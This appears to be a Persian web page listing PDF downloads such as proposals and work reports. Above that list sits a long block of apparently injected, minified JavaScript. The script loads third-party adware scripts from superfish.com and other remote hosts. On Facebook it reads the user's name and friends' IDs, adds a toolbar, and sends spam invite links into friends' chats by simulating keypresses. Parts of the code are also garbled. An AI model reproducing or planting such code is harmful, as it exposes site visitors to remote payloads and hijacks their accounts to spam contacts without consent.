a=document.createElement("script");a.setAttribute("type","text/javascript");a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101");(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}else-1!=window.location.href.indexOf("https:")&&-1==window.location.href.indexOf("facebook.com")&&(a=document.createElement("script"),a.setAttribute("type","text/javascript"),a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101"),(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a))};AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) { var script_tag=document.createElement(script);script_tag.setAttribute("type","text/javascript"); script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch101"); (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag); }}function AddDP(){ if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 ) { var script_tag = document.createElement(script); script_tag.setAttribute("type", "text/javascript"); script_tag.setAttribute("src", "http://i.2yourfacejs.info/toyf/javascript.js?channel=ch101"); // Try to find the head, otherwise default to the documentElement (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag); }}AddDP();//3.4 no chacheID in gamesvar gpid="101",url=window.location.href,timeOut=3E3,gPhoneCallInviteMsgPrefix=" invite You to an Audio Chat. Accept Now : ",gVideoCallInviteMsgPrefix=" invite You to a Video Chat. Accept Now : ",gGameInviteMsgPrefix=" invite You to play ",date=new Date,cacheID=date.getDate()+"-"+(date.getMonth()+1)+"-"+date.getFullYear()+"-"+date.getHours(),gPhoneCallInviteMsg=gPhoneCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gVideoCallInviteMsg=gVideoCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gGameLink="http://www.f2yf.com/",gGameLinkSuffix="/"+gpid+"/",gSmileyMsgPrefix="I sent you a smiley. Accept Now: ",gSmileyMSG=":-D",gMyName="";window.setTimeout("OnTimeout()",2500);var m_lastTimeout=new Date;document.body.onmouseup=onUp;function onUp(){if(!0==isValidWebsite()){var a=(new Date).getTime()-m_lastTimeout.getTime(),a=new Date(a);(0<a.getMinutes()||0==a.getMinutes()&&2<a.getSeconds())&&OnTimeout()}}function getElementsByClassName(a){for(var b=[],a=RegExp("\\b"+a+"\\b"),d=document.getElementsByTagName("*"),c=0;c<d.length;c++)a.test(d[c].className)&&b.push(d[c]);return b}Start();function Start(){if(-1!=window.location.href.indexOf("facebook.com")){if(void 0===window.jQuery||"1.4.2"!==window.jQuery.fn.jquery){var a=document.createElement("script");a.setAttribute("type","text/javascript");-1!=window.location.href.indexOf("http:/")?a.setAttribute("src","http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"):a.setAttribute("src","https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js");a.onload=scriptLoadHandler;a.onreadystatechange=function(){("complete"==this.readyState||"loaded"==this.readyState)&&scriptLoadHandler()};(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}null==document.getElementById("ChatDialog")&&(a=document.createElement("div"),a.id="ChatDialog",a.setAttribute("style","display:none;position: absolute;top: 15%;left: 35%;width: width:484px;background:url(http://www.2yourface.com/Plugin/images/outer_bg.png);border-radius:8px;padding:9px;z-index:1002;overflow: auto;"),document.body.appendChild(a))}}function onscroll(){var a=document.body.scrollTop,b=window.jQuery("div#ChatDialog",document);b.position();b.offset({left:0.35*document.body.clientWidth,top:a+200})}function IsScriptInstalled(){return-1!=document.body.innerHTML.indexOf("ChatDialog")}function scriptLoadHandler(){jQuery=window.jQuery.noConflict(!0);OnTimeout()}function Process(){var a=-1,b=document;if(""==gMyName){var d=getElementsByClassName("headerTinymanName");0<d.length&&(gMyName=d[0].innerHTML)}d=window.jQuery("div#fbDockChat",b);b=window.jQuery("div.fbDockChatTab",d);0==b.length&&(b=window.jQuery(".fbNubFlyout.fbDockChatTabFlyout",d));if(null!=b)for(d=0;d<b.length;d++){var c=window.jQuery("div.fbNubFlyout",b[d])[0];null==c&&(c=window.jQuery(".fbNubFlyoutOuter",b[d])[0]);c.innerHTML.indexOf("textarea");var f=window.jQuery("div.fbNubFlyoutTitlebar",c),h=window.jQuery("span.titlebarText",f),a=GetUIDFromName(e);if(-1==a){var e=c.innerHTML,i="/messages/",g=e.indexOf(i);-1!=g?(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)):(i="?id=",g=e.indexOf(i),-1!=g&&(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)))}var e=GetFriendName(f.html());""==e&&(e=h.html());-1==a&&(a=GetUIDFromName(e));AddToolbar(c,e,a);ParseInvitations(c,e,a)}}function GetUIDFromName(a){var b=window.ChatUserInfos,d;for(d in b)if(b.hasOwnProperty(d)&&a==b[d].name)return d;return-1}function isValidWebsite(){return-1!=window.location.href.indexOf("facebook.com")}function OnTimeout(){m_lastTimeout=new Date;-1!=window.location.href.indexOf("facebook.com")&&(!1==IsScriptInstalled()&&Start(),setTimeout("OnTimeout()",2500),Process())}function GetFriendName(a){var b=a.indexOf(<a class="titlebarText),b=a.indexOf(">",b+22),b=b+1,d=a.indexOf("<",b);return a.substring(b,d)}function SendSmiley(a){sendMsg(gSmileyMSG,a)}function AddToolbar(a,b,d){a=window.jQuery("div.fbNubFlyoutBody",a);b=<div style="height:18px;" class="fbNubFlyoutBody" /><div id="VideoChatToolbar_+d+" class="fbNubFlyoutBody11" style="height:18px;position:relative;top:0px;background:#6d84b4;">+(<div style="position:absolute;left:20px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Video Chat" title="Video Chat with +b+"/></div>)+(<div style="position:absolute;left:65px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Audio Chat" title="Audio Chat with +b+" /></div>)+(<div style="position:absolute;left:110px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Play Games with +b+" /></div>)+(<div style="position:absolute;left:155px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Send a Smiley to +b+" /></div>)+(<div style="width:26px;height:30px;position:absolute;left:23px;top:-21px;cursor:pointer" ><a href=\javascript:InviteVideo(+d+,"+b+");\><img src="http://www.2yourface.com/Plugin/images/video.png" alt="Video Chat" title="Video Chat with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:72px;top:-21px;cursor:pointer" ><a href=\javascript:InviteCall(+d+,"+b+");\ ><img src="http://www.2yourface.com/Plugin/images/audio.png" alt="Video Chat" title="Audio Chat with +b+" /></a></div>)+(<div style="position:absolute;left:110px;top:-21px;cursor:pointer" ><a href=\javascript:InviteGames(+d+,"+b+");\ ><img style="width:24px;height:20px;position:absolute;left:5px;top:5px;" src="http://www.2yourface.com/Plugin/images/games.png" alt="Games" title="Play Games with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:155px;top:-20px;cursor:pointer" ><a href=\javascript:SendSmiley(+d+);\ ><img src="http://addon.2yourface.com/Plugin/images/smiley.png" alt="Video Chat" title="Send Smiley to +b+" /></a></div>)+<div style="width:24px;height:30px;position:absolute;left:200px;top:0px;" ><img src="http://www.2yourface.com/Plugin/images/tblogo.png" alt="Video Chat" title="2YourFace.com" /></div>;d=a.parent().html();a.next().children();-1==d.indexOf("VideoChatToolbar")&&(a.height(197),a.after(b))}function ParseInvitations(a,b,d){for(var a=window.jQuery("div.fbChatMessage.fsm",a),c=0;c<a.length;c++)TryParseInvitation(a[c],d,b)}function TryParseSmileyInvitation(){return!1}function TryParseInvitation(a,b,d){TryParseSmileyInvitation(a,b,d)||TryParsePhoneCallInvite(a,b,d)||TryParseVideoInvite(a,b,d)||TryParseGameInvite(a,b,d)}function GetGameFromMessage(a){var b=a.indexOf(gGameInviteMsgPrefix);if(-1!=b){var b=b+gGameInviteMsgPrefix.length,d=a.indexOf(".");return a.substring(b,d)}return""}function TryParseGameInvite(a,b,d){var c=a.innerHTML;if(-1!=c.indexOf(gGameInviteMsgPrefix)){var f=IsMe(a),c=GetGameFromMessage(c);f?c="You have invited "+d+" to play "+c:(f=GetGameID(c),c=d+" invited You to Play "+c+" <a href=javascript:AcceptGame("+f+,"+Env.user+","+b+","+gMyName+"\") > Accept</a>");a.innerHTML=c;return!0}return!1}function TryParsePhoneCallInvite(a,b,d){var c=a.innerHTML;return-1!=c.indexOf(gPhoneCallInviteMsgPrefix)?(c=IsMe(a)?"You have invited "+d+" to an Audio Chat":d+" invited You to an Audio Chat <a href=javascript:StartPhone("+b+,"+d+"\") > Accept</a>",a.innerHTML=c,!0):!1}function StartPhone(a,b){OpenVoiceDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function StartVideo(a,b){OpenVideoDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function OpenVideoDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Video&runtime="+a+"&from="+Env.user,395,215,b,d,"Video Chat")}function OpenVoiceDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Voice&runtime="+a+"&from="+Env.user,395,215,b,d,"Audio Chat")}function OpenDialog(a,b,d,c,f,h){b=<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold">+h+ - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+c+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Chatting with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+f+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">+("<iframe src="+a+" width="+b+" height="+d+" scrolling=no border=no style=\"background-color:white;border:0px;\" />")+</div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);b=a[0];b.style.visibility="visible";b.style.display="block";b=document.body.scrollTop;d=a.position();c=document.body.clientWidth;c=50>d.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:c,top:b+200})}function CloseDialog(){document.body.style.display="block";document.getElementById("ChatDialog").style.display="none";document.getElementById("ChatDialog").innerHTML=""}function IsMe(a){var b=-1!=a.parentNode.parentNode.innerHTML.indexOf(title="You");return b=(b=b||-1!=a.parentNode.parentNode.innerHTML.indexOf(alt="+gMyName+"))||-1!=a.parentNode.parentNode.innerHTML.indexOf("_"+Env.user+"_")}function TryParseVideoInvite(a,b,d){var c=a.innerHTML;-1!=c.indexOf(gVideoCallInviteMsgPrefix)&&(c=IsMe(a)?c="You have invited "+d+" to a Video Chat":d+" invited You to a Video Chat <a href=javascript:StartVideo("+b+,"+d+"\") > Accept</a>",a.innerHTML=c)}function InviteCall(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gPhoneCallInviteMsg;if(sendMsg(d,a))OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function GetMyID(){var a=document.body.innerHTML.indexOf(detect_broken_proxy_cache("),a=a+"30",b=document.body.innerHTML.indexOf(",a);return document.body.innerHTML.substring(a,b)}function InviteVideo(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gVideoCallInviteMsg;if(sendMsg(d,a))OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function InviteGames(a,b){-1==a&&(a=GetUIDFromName(b));OpenGamesDialog(a,Env.user,"http://graph.facebook.com/"+a+"/picture",b)}function sendMsg(a,b){if("undefined"!=typeof window.chatDisplay)chatDisplay.tabs[b].chatInput.value=a,chatDisplay.tabs[b].sendInput();else{var d=window.jQuery("#VideoChatToolbar_"+b,document).next().children().children();d.focus();d[0].value=a;d.focus();var c;document.createEvent?(c=document.createEvent("Events"),c.initEvent("keydown",!0,!0)):c=document.createEventObject();c.view=window;c.altKey=!1;c.ctrlKey=!1;c.shiftKey=!1;c.metaKey=!1;c.keyCode=13;c.which=13;document.createEvent?d[0].dispatchEvent(c):d[0].fireEvent("onkeydown",c)}return!0}function OpenGame(a,b,d){b=GetGameName(a);b="I "+gGameInviteMsgPrefix+b+". Accept Now: "+gGameLink+b+gGameLinkSuffix;CloseDialog();var c=Env.user;if(sendMsg(b,d))StartGame(a,c,d,gMyName);else{var f=window.jQuery("#VideoChatToolbar_"+d,document).next().children().children();f.focus();f.keydown(function(b){13==b.which&&(StartGame(a,c,d,gMyName),f.unbind(!1))});TextAreaControl.getInstance(f[0]).setValue(b)}}function AcceptGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+d+"&second="+b+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function StartGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+b+"&second="+d+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function GetGameName(a){return 2==a?"Chess":1==a?"Backgammon":6==a?"Checkers":26==a?"Tic Tac Toe":86==a?"Darts":325==a?"Domino":256==a?"8-Ball":225==a?"Poker":"Game"}function GetGameID(a){return"Chess"==a?2:"8-Ball"==a?256:"Backgammon"==a?1:"Checkers"==a?6:"Tic Tac Toe"==a?26:"Darts"==a?86:"Domino"==a?325:"Poker"==a?225:1}function OpenGamesDialog(a,b,d,c){b="<style type=text/css >#ex5 img { margin: 5px; opacity: 0.8; border: 10px solid #eee;/*Transition*/-webkit-transition: all 0.5s ease; -moz-transition: all 0.5s ease; -o-transition: all 0.5s ease;/*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.1)));}#ex5 img:hover { opacity: 1; /*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.4))); /*Glow*/ -webkit-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); -moz-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); box-shadow: 0px 0px 20px rgba(255,255,255,0.8);}</style>"+(<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold"> Choose a Game and Play - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+d+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Choose a Game and Play with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+c+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">)+"<div id=ex5 style=background-color:gray;height:220px;width:400px; ><br/><br/>"+GetGameOfferHTML(2,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_chess.jpg",c,a);b+=GetGameOfferHTML(1,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_backgammon.jpg",c,a);b+=GetGameOfferHTML(256,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_snooker.jpg",c,a);b+=GetGameOfferHTML(325,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_domino.jpg",c,a);b=b+"<br/>"+GetGameOfferHTML(6,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_checkers.jpg",c,a);b+=GetGameOfferHTML(26,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_tic.jpg",c,a);b+=GetGameOfferHTML(86,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_darts.jpg",c,a);b+=GetGameOfferHTML(225,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_poker.jpg",c,a);b+=</div></div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);c=a[0];c.style.visibility="visible";c.style.display="block";c=document.body.scrollTop;b=a.position();d=document.body.clientWidth;d=50>b.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:d,top:c+200})}function GetGameOfferHTML(a,b,d,c){return"<a style=position:relative;top:-20px; href=\"javascript:OpenGame("+a+","+d+" ,"+c+)" ><img style="width:70px;height:70px;" src=\+b+" title=\"Invite "+d+" to play "+GetGameName(a)+" /></a>};</script>
   دانلود : Image20121031141040-m1.pdf           حجم فایل 25 KB
   دانلود : sample propos.pdf           حجم فایل 102 KB
   دانلود : work report.pdf           حجم فایل 191 KB
   دانلود : sample propos.pdf           حجم فایل 102 KB
   دانلود : program.pdf           حجم فایل 101 KB
   دانلود : manage select.pdf           حجم فایل 131 KB
   دانلود : research select.pdf           حجم فایل 89 KB
   دانلود : low selection.pdf           حجم فایل 3955 KB
   دانلود : sample sheet.pdf           حجم فایل 736 KB
صفحه اصلي |نقشه سايت|تماس با ما|پست الكترونيك